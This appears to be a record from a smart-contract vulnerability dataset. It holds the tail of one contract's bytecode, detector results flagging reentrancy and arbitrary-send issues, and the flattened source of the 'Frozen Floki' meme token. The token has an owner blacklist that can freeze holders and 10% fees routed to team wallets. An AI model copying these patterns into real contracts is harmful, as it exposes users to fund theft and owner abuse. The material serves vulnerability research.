fffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4449434553000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e2066e6ec6e6c2efac09363e06b1c39ed62e7341698e9422f0c404d9e659005c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,087
0x22991ac5e4cdb63b971a0972acd96ca32724928a
/** *Submitted for verification at Etherscan.io on 2021-06-25 */ //Frozen Floki ($FrozenFloki) //2% Deflationary yes //Telegram: https://t.me/frozenflokiofficial //CG, CMC listing: Ongoing //Fair Launch // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FrozenFloki is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Frozen Floki"; string private constant _symbol = "FrozenFloki"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
